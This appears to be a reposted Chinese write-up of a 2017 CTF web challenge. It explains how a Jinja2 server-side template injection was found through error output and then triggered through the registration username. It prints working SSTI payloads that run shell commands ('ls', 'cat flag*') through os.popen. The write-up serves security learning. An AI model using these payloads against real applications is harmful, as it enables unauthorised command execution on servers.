2017年第二屆廣東省強網杯線上賽WEB:Musee de X writeup(模板注入漏洞)


解題思路

拿到手上,有四個頁面
image
首先按照題目要求執行,嘗試注冊一個名為admin的賬戶
image
這種情況,路徑都給出來了,很可能就是目錄遍歷或者文件上傳了
回到初始界面,點擊鏈接here
image

有一個捐贈界面,讓我們輸入捐贈的地址和名字
image
下面的collection de musee代表它是一個收藏館,也不知道捐什么,就隨意捐一個,比如baidu.com
image
可以看到是有報錯的,為了讓報錯全部顯示,建議直接使用“查看頁面源代碼”
像這種東西,就無不暗示着你,是可能有SSTI漏洞的
image
按照正常方法,直接crtl+F搜索render,看看有沒有SSTI注入點
image
可以看見,text的變量是有着jinja2的注入點的,所以我們尋找text這個指向的是什么就可以找到注入點了。
通過審查html,可以發現,我們所指的text表示的是name
image

所以我們需要將這個注入進去就可以了
如何注入呢,就是剛剛的注冊頁面,剛剛發現我們注冊之后會在服務器端生成一個為注冊名的目錄,所以,只要將payload作為用戶名注入即可
構造payload,先查看目錄,確定flag的文件名(flag*一步到位也不是不可以)

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')}}

可以在這個payload前面添加你自己喜歡的用戶名,當然不加也可以

然后我們捐獻的是一張純黑色的圖片(也可以上傳別的圖片,但是最后發現,還得上傳純黑的圖片才看得清楚)

http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_362061_5.jpg

image
image

構造payload

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat flag*").read()')}}
#或者網上給的
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}}

flag就出來了
image

再次注入的時候仍然需要添加新的用戶,否則會被判為被黑
image

總結

問題 方法
服務器端模板注入的尋找方法 就是看除了PHP以外還有沒有用別的語言寫,常見的是python,如果能夠找到一些源代碼或者報錯,搜索render,或許就能找到注入點
漏洞如何尋找 按照題目一步一步來做,順着題目的意思進行,出現了報錯或者源代碼的出現是最好不過了
payload的構造 payload在主頁里面有,payload可能會被過濾,這個題目簡單,么有過濾payload,payload有很多種,也不止上面給的這一種


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM